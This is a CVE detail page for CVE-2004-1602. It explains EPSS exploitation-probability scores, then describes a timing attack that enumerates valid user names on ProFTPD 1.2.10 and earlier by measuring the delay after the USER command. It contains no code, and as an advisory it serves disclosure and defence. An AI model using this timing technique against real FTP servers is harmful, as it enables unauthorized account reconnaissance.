CVE-2004-1602 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* Details Vulnerable Systems: * ProFTPD Version 1.2.10 and below It is possible to determine which user names are valid, which are special, and which ones do not exist on the remote system. This can be accomplished by code execution path timing analysis attack at the ProFTPd login procedure. There is a very small (but significant) difference in time delay of code execution path between valid and non-valid user names. That can be used to remotely determine the difference between existent and non-existent users. The time delay can be measured by using a simple FTP client that will calculate elapsed time between 'USER' command sent by client, and the server response. Because of the very short response period, elapsed time should be measured in microseconds.
